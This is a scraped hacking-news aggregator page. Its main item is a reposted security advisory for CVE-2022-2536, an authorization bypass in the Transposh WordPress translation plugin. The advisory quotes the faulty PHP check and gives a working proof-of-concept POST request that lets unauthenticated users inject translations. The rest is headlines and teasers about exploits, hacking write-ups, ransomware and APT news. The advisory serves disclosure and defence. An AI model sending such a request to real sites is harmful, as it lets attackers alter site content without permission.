Exploit Collector
Transposh WordPress Translation 1.0.8.1 Incorrect Authorization

https://2.bp.blogspot.com/-trS7d3JOSJY/WWlvYoSx4fI/AAAAAAAAIOo/ua-jTrS9avcHrliD3JJHs9ifWyf14eAUwCLcBGAs/s1600/h57.png
Transposh WordPress Translation versions 1.0.8.1 and below suffer from an incorrect authorization vulnerability.

SHA-256 | cf075b58a8a1c31fce95fca535703432ed02017dc8456967462b1e93044c2dcc

Download
RCE Security Advisory
https://www.rcesecurity.com
1. ADVISORY INFORMATION
=======================
Product: Transposh WordPress Translation
Vendor URL: https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/
Type: Incorrect Authorization [CWE-863]
Date found: 2022-07-23
Date published: 2022-08-16
CVSSv3 Score: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
CVE: CVE-2022-2536
2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.
3. VERSIONS AFFECTED
====================
Transposh WordPress Translation 1.0.8.1 and below
4. INTRODUCTION
===============
Transposh translation filter for WordPress offers a unique approach to blog
translation. It allows your blog to combine automatic translation with human
translation aided by your users with an easy to use in-context interface.

(from the vendor's homepage)
5. VULNERABILITY DETAILS
========================
When installed, Transposh comes with a set of pre-configured options; one of these
is the "Who can translate" setting under the "Settings" tab. However, this option
is ignored if Transposh has enabled its "autotranslate" feature (it's enabled by
default) and the HTTP POST parameter "sr0" is larger than 0. This is caused by a
faulty validation in "wp/transposh_db.php":

if (!$by && !($all_editable &&
($this->transposh->is_translator() || ($source > 0 && $this->transposh->options->enable_autotranslate)))) {
tp_logger("Unauthorized translation attempt " . $_SERVER['REMOTE_ADDR'], 1);
header("HTTP/1.0 401 Unauthorized translation");
exit;
}

Successful exploits can allow an unauthenticated attacker to bypass the Transposh
permissions and add translations to the WordPress site, thereby influencing what
is shown on the site. However, this only affects new translations.
6. PROOF OF CONCEPT
===================
The following Proof-of-Concept adds a new translation

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [host]
Content-Length: 74
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0
Connection: close

action=tp_translation&ln0=en&sr0=1&items=1&tk0=translation&tr0=translation
7. SOLUTION
===========
None. Remove the plugin to prevent exploitation.
8. REPORT TIMELINE
==================
2022-07-23: Discovery of the vulnerability
2022-07-23: CVE requested from Wordfence (CNA)
2022-07-25: Wordfence assigns CVE-2022-2536
2022-08-09: Sent note to vendor
2022-08-09: Vendor is aware of this bug, but there is no plan to fix it yet
2022-08-16: Public Disclosure
9. REFERENCES
=============
https://github.com/MrTuxracer/advisories

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
FLIR AX8 1.46.16 Traversal / Access Control / Command Injection / XSS

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How I hacked my University Servers

Fri Aug 5 around 1:00 a.m. was surfing the internet and like every other day i logged on my uni portal to check my attendance and if any…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
This is Why DEF CON is Worth Attending

https://cdn-images-1.medium.com/max/1024/1*jnKaUju7BKX0wO5afMRS8g.png
Review from a first-time attender of DEF CON (30).

Continue reading on Geek Culture »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Solving Hack The Box — Tier 2 — ARCHETYPE

Solving HTB — Starting Point — Tier 2— ARCHETYPE

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
DoNot Team Hackers actualizó su kit de herramientas de malware con capacidades mejoradas

https://cdn-images-1.medium.com/max/1833/0*Bdir4olK3M2sHH3h
El actor de amenazas Donot Team ha actualizado su kit de herramientas de malware Jaca Windows con capacidades mejoradas, incluido un…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
BlackByte Ransomware Gang Returns With Twitter Presence, Tiered Pricing

Version 2.0 of the ransomware group's operation borrows extortion tactics from the LockBit 3.0 group.

Hacking on Medium
Report: Suspected Chinese Hackers Spied on Governments, NGOs, Media

https://cdn-images-1.medium.com/max/2000/0*XVcLq5SKOwzrfTPZ
Here are the key facts of this story, as agreed upon by Al Jazeera, Recorded Future, Technology Review, and Tech Monitor.

Continue reading on Improve the News »

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
State-Sponsored APTs Dangle Job Opps to Lure In Spy Victims

APTs continue to exploit the dynamic job market and the persistent phenomenon of remote working, as explored by PwC at Black Hat USA.

Hacking on Medium
How to hack bitcoin? Part two

https://cdn-images-1.medium.com/max/1668/1*L3L7sAWdk8-3dDcO9YZpcA.jpeg
Let’s talk about security — cryptocurrency is becoming more and more part of our lives, but, unfortunately, many people are still…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Patch Now: 2 Apple Zero-Days Exploited in Wild

The fact that the flaws enable remote code execution, exist across all major Apple OS technologies, and are being actively exploited heightens the need for a quick response.

Dark Reading: Attacks/Breaches
Intel Adds New Circuit to Chips to Ward Off Motherboard Exploits

The countermeasure, which compares the time and voltage at which circuits are activated, is being implemented in 12th Gen Intel Core processors.

Dark Reading: Attacks/Breaches
Cybersecurity Solutions Must Evolve, Says Netography CEO

Just as cyber criminals change tactics and strategy for more effectiveness, so must infosec pros and their organizations, according to Martin Roesch of Netography.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
PIXM: Stopping Targeted Phishing Attacks With 'Computer Vision'

Chris Cleveland, founder of PIXM, talks about phishers’ evasive maneuvers and how organizations can tap Computer Vision to keep email and its users safe.

___________________________
@hacking_Attack
@Hacking_Video

Automate Bug Bounty: Guide to Nuclei Tool

What’s up awesome people, do you want to automate the whole bug hunting process?Continue reading on Medium »
Read more...